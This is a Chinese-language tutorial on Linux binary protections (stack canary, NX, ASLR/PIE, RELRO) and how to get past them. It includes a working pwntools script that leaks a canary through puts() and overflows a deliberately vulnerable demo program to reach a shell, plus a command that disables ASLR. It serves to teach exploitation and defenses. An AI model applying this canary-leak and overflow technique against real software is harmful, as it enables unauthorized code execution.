canary意为金丝雀,作为栈保护技术之一,它的名字源自于17世纪,英国煤矿工人发现金丝雀对瓦斯十分敏感,每次下井都会带一只金丝雀作为“瓦斯检测指标”,从而挽救了很多工人的生命。
canary机制的原理很简单,就是在函数被调用之后,立即在栈帧中插入一个随机数,函数执行完在返回之前,程序通过检查这个随机数是否改变来判断是否存在栈溢出。
如图所示,如果buf数据覆盖了目标地址(红色)处的数据,那canary(黄棕色)处的数据也会改变。
要绕过canary也很简单,就是先通过某些手段如利用格式化字符串漏洞将canary泄露,再利用栈溢出,用垃圾数据覆盖栈上数据时,只要保证canary数据保持不变即可。程序检查canary没有改变,便会继续正常执行。
编译链接一下
// gcc编译器默认开启canary保护 // 关闭栈保护 -fno-stack-protector // 打开栈保护 -fstack-protector-all gcc main.c -m32 -fstack-protector-all -no-pie -o canary我们检查一下程序的保护机制:
xxx@xxx-PC:~/Desktop/templates/canary$ checksec canary [*] '/home/xxx/Desktop/templates/canary/canary' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found // canary保护已生效 NX: NX enabled PIE: No PIE (0x8048000) xxx@xxx-PC:~/Desktop/templates/canary$下面来看一下vulnerable函数的反汇编代码:
080491d7 <vulnerable>: 80491d7: 55 push ebp 80491d8: 89 e5 mov ebp,esp 80491da: 83 ec 18 sub esp,0x18 -------------------------set canary--------------------------- 80491dd: 65 a1 14 00 00 00 mov eax,gs:0x14 80491e3: 89 45 f4 mov DWORD PTR [ebp-0xc],eax -------------------------------------------------------------- 80491e6: 31 c0 xor eax,eax 80491e8: 83 ec 0c sub esp,0xc 80491eb: 68 10 a0 04 08 push 0x804a010 80491f0: e8 6b fe ff ff call 8049060 <puts@plt> 80491f5: 83 c4 10 add esp,0x10 80491f8: 83 ec 04 sub esp,0x4 80491fb: 6a 64 push 0x64 80491fd: 8d 45 e8 lea eax,[ebp-0x18] 8049200: 50 push eax 8049201: 6a 00 push 0x0 8049203: e8 28 fe ff ff call 8049030 <read@plt> 8049208: 83 c4 10 add esp,0x10 804920b: 83 ec 0c sub esp,0xc 804920e: 8d 45 e8 lea eax,[ebp-0x18] 8049211: 50 push eax 8049212: e8 49 fe ff ff call 8049060 <puts@plt> 8049217: 83 c4 10 add esp,0x10 804921a: 83 ec 0c sub esp,0xc 804921d: 68 19 a0 04 08 push 0x804a019 8049222: e8 39 fe ff ff call 8049060 <puts@plt> 8049227: 83 c4 10 add esp,0x10 804922a: a1 40 c0 04 08 mov eax,ds:0x804c040 804922f: 83 ec 04 sub esp,0x4 8049232: 50 push eax 8049233: 68 00 01 00 00 push 0x100 8049238: 8d 45 e8 lea eax,[ebp-0x18] 804923b: 50 push eax 804923c: e8 ff fd ff ff call 8049040 <fgets@plt> 8049241: 83 c4 10 add esp,0x10 8049244: 90 nop ----------------------------check canary-------------------------- 8049245: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 8049248: 65 33 05 14 00 00 00 xor eax,DWORD PTR gs:0x14 ------------------------------------------------------------------ 804924f: 74 05 je 8049256 <vulnerable+0x7f> 8049251: e8 fa fd ff ff call 8049050 <__stack_chk_fail@plt> 8049256: c9 leave 8049257: c3 ret可以看出程序在放置canary时,将在全局段某处(gs:0x14)取出的数据作为canary放置于栈帧中(ebp-0xc)。
退出程序时,检查canary,将从全局段处的canary和栈帧中的数据做异或运算,如果结果为零,说明canary并没有被改变,程序正常退出,否则调用__stack_chk_fail函数,表示栈检查错误。
在本示例中,我们利用puts()函数来泄露canary,puts(buf)作用是将地址buf处存储的 字符串打印到标准输出(屏幕)直到’\0’处停止,并把’\0’换为换行符’\n’。 而且read()函数允许我们输入100字节的数据,我们可以利用input 1,利用输入特定数量的字符串,将buf与canary连接起来,这样一来,程序在输出buf的同时也就把canary一连串地输出出来了。 现在我们用gdb来调试一下程序,运行到第一个input时输入标记数据“aaaa”:
pwndbg> stack 20 00:0000│ esp 0xffffbce0 ◂— 0x0 01:0004│ 0xffffbce4 —▸ 0xffffbcf0 ◂— 'aaaa\n' 02:0008│ 0xffffbce8 ◂— 0x64 /* 'd' */ 03:000c│ 0xffffbcec —▸ 0xf7e02dfb (__internal_atexit+59) ◂— add esp, 0x10 04:0010│ ecx 0xffffbcf0 ◂— 'aaaa\n' 05:0014│ 0xffffbcf4 ◂— 0x4000a /* '\n' */ 06:0018│ 0xffffbcf8 ◂— 0x1 07:001c│ 0xffffbcfc ◂— 0x1e9c4000 <==canary 08:0020│ 0xffffbd00 ◂— 0x1 09:0024│ 0xffffbd04 —▸ 0xffffbdc4 —▸ 0xffffbf7d ◂— '/home/xxx/...' 0a:0028│ ebp 0xffffbd08 —▸ 0xffffbd28 ◂— 0x0 0b:002c│ 0xffffbd0c —▸ 0x8049272 (main+26) ◂— nop 0c:0030│ 0xffffbd10 —▸ 0xf7fe4520 (_dl_fini) ◂— push ebp 0d:0034│ 0xffffbd14 ◂— 0x0 0e:0038│ 0xffffbd18 —▸ 0x8049299 (__libc_csu_init+9) ◂— add ebx, 0x2d67 0f:003c│ 0xffffbd1c ◂— 0x1e9c4000 10:0040│ 0xffffbd20 —▸ 0xf7fab000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d9d6c ... ↓ 12:0048│ 0xffffbd28 ◂— 0x0 13:004c│ 0xffffbd2c —▸ 0xf7debb41 (__libc_start_main+241) ◂— add esp, 0x10 pwndbg>上图可以看到,canary在地址0xffffbcfc处,标记数据在地址0xffffbcf0处,相差了12字节,也就是理论上我们需要精准地输入12字节的非零数据(这里的零是指ASCII码值为0,并不是字符0)才能让buf和canary连接起来。但事实上这样是不行的,因为canary最低字节的数据通常是"00"结尾,所以我们需要多输入1字节的非零数据来覆盖掉这一个字节的"00"。即我们共需要输入13字节的数据。我们来运行程序实验一下:
xxx@xxx-PC:~/Desktop/templates/canary$ ./canary input 1: aaaaaaaaaaaa aaaaaaaaaaaa �4S input 2:果然,在打印了我们的输入之后,还会多打印3个字符,这3个字符的16进制值就是canary的数据。在这里,细心的读者可能会发现我输入的是12个字符a,并不是13个,这是为什么? 原因其实很简单,因为第13个字符是换行符,我输入完字符之后,还按了一个回车键,所以输出同样的将这个换行符打印了出来。 既然canary被我们知道了,那接下来的工作就容易多了,只需要注意在填充垃圾数据的时候,将canary原封不动的填在相应位置就好了。要跳转的目标第地址就是shell()函数的地址0x80491a2,我们要构造的payload如图所示: 完整的利用脚本如下:
#!/usr/bin/python3 from pwn import * # 运行程序 io = process('./canary') # 要跳转的目标函数地址 shell = 0x80491a2 # 填充字符,共13字节的数据以拼接buf与canary payload = b'a' * 12 + b'\n' io.sendafter('input 1:\n',payload) data = io.recvuntil('\n') # 收到高3字节的canary数据,并将低字节的‘00’填充上去,canary低一字节通常为0x00 # 因为linux是小端存储方式,高字节的数据在高地址处,而数据输出和写入是先从低地址处开始 # 故数据的顺序看起来是“颠倒”的 data = io.recv(3) canary = data.rjust(4,b'\x00') # 成功获取canary之后以16进制打印出来 log.success('canary ==> ' + str(hex(unpack(canary,32)))) # 构造payload payload = b'a' * 12 + canary + b'a' * 12 + pack(shell,32) io.sendafter('input 2:\n',payload) io.interactive()运行脚本,就可以看到效果啦:
xxx@xxx-PC:~/Desktop/templates/canary$ ./io.py [+] Starting local process './canary': pid 9384 [+] canary ==> 0xc7aca200 [*] Switching to interactive mode $ $ ls canary flag io.py main.c $ cat flag flag{this_is_flag} $栈不可执行,即栈上的数据不能够当作代码来执行。如果上一示例的NX保护没有开,我们大可以将shellcode写入buf,并跳转到buf处让CPU去执行。
首先我们来看一下32位程序在Linux系统内存中的布局: 最高地址处是内核空间,用户代码不能读写。之后是栈区,存放函数内部临时变量,栈由高地址向低地址增长,大小限制在8MB。接着是mmap区域,存放动态链接库代码(共享目标文件代码)。之后是堆区,保存着由程序员分配的内存空间(malloc、new等分配的空间)。BSS段存放未初始化的全局变量和局部静态变量。Data段存放已初始化的全局变量和局部静态变量。之后是text代码段,存放程序的代码。 再看一下64位程序在Linux内存中的布局: 地址空间布局随机化(Address-Space Layout Randomization),简称ASLR。采用ASLR,每次程序运行时,程序的不同部分包括库代码、栈和堆,都会被加载到内存的不同区域。在Linux系统中,ASLR的设置在"/proc/sys/kernel/randomize_va_space"文件中,有3个可选值,默认为2:
0:关闭ASLR1:mmap base、栈、VDSO page被随机化2:在1的基础上,随机化堆(heap)ASLR的原理是程序开始时,在stack、mmap以及堆区处分配随机大小的空间(在上上图中Random stack/mmap/brk offset区域),但程序不使用这段空间。但它会导致程序每次执行时后续的栈位置发生变化。ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化。这样,即使攻击者部署了shellcode并可以控制跳转,由于shellcode所在地址未知,依然很难执行shellcode。 虽然ASLR很厉害,但是它不能随机化代码段(.text Segment)和数据段(.bss Segement、.data Segment),这时候就需要地址无关可执行PIE(Position Independent Executable)来对这些段进行随机化。 我们先来总结一下ASLR和PIE,不感兴趣的读者可以跳过下面的实际操作及效果展示。
下面我们来实际操作一番,并看一下效果,下面是一段c代码:
#include <stdio.h> #include <malloc.h> void main(){ //定义一个指针,它将被分配在栈区 //但是它指向堆区 void *p = (void *)malloc(8); char buf[8]; //打印栈中指针p的地址 printf("address(stack &P): %p\n",&p); //打印堆中p指向的地址 printf("address(heap P): %p\n",p); //等待输入,让我们有时间查看内存映射情况 printf("input:"); gets(buf); printf("buf: %s",buf); }接下来我们先确保操作系统的ASLR是打开的:
xxx@xxx-PC:~$ cat /proc/sys/kernel/randomize_va_space 2之后编译链接生成两份可执行文件做对比:
xxx@xxx-PC:~/Desktop/code_project/c$ gcc main.c -o pie -fpie -pie //开启PIE xxx@xxx-PC:~/Desktop/code_project/c$ gcc main.c -o npie -fno-pie //关闭PIE然后再用安全检查工具检查一下:
xxx@xxx-PC:~/Desktop/code_project/c$ checksec pie [*] '/home/xxx/Desktop/code_project/c/pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled //PIE已打开 xxx@xxx-PC:~/Desktop/code_project/c$ checksec npie [*] '/home/xxx/Desktop/code_project/c/npie' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) //PIE已关闭接下来我们连续两次运行PIE关闭的程序npie,并用pmap命令查看进程的内存映射情况: 由上面两张图对比可以看到,程序输出的栈和堆地址都已经发生变化。而右侧内存映射中,除了低地址处的数据段和代码段地址没有发生变化,其它的段包括libc库等加载地址都已发生变化,说明ASLR已经起了作用,但是PIE关闭。
接下来我们运行两次打开了PIE的程序pie: 对比以上两张图可以发现,不仅连堆栈段,就连低地址处的数据段和代码段地址也发生了变化。说明ASLR和PIE都起了作用。
接下来我们关闭ASLR(需要超级用户权限):
//将 0 写入randomize_va_space文件 root@xxx-PC:/home/xxx# echo 0 > /proc/sys/kernel/randomize_va_space运行pie两次: 通过对比我们发现,只要关闭了ASLR,PIE也失去了效果(有种说法是PIE属于ASLR的一部分),笔者在这里就不多论述了。实验结论如下:
Relro(Relocation Read-Only)重定向只读,这个主要作用是禁止got表和其它一些相关内存的写操作,从而阻止攻击者通过劫持got表来进行利用攻击。GOT(Global Offset Table)全局偏移表,保存了共享库(动态链接库)中函数实际地址(如printf(), gets()…),PLT(Procedure Linkage Table)进程链接表,保存了对应GOT表项的地址。 got表用于动态链接时候,linux下加载使用GOT定位后间接寻址得到函数真实地址,每个got项伴随一个plt项用于跳转到got地址,等到函数调用,got表写入真实地址,call函数的时候使用plt跳转到got得到真实地址。 RELRO为” Partial RELRO”时,说明我们对GOT表具有写权限。“FULL RELRO”表示我们只有读取权限。
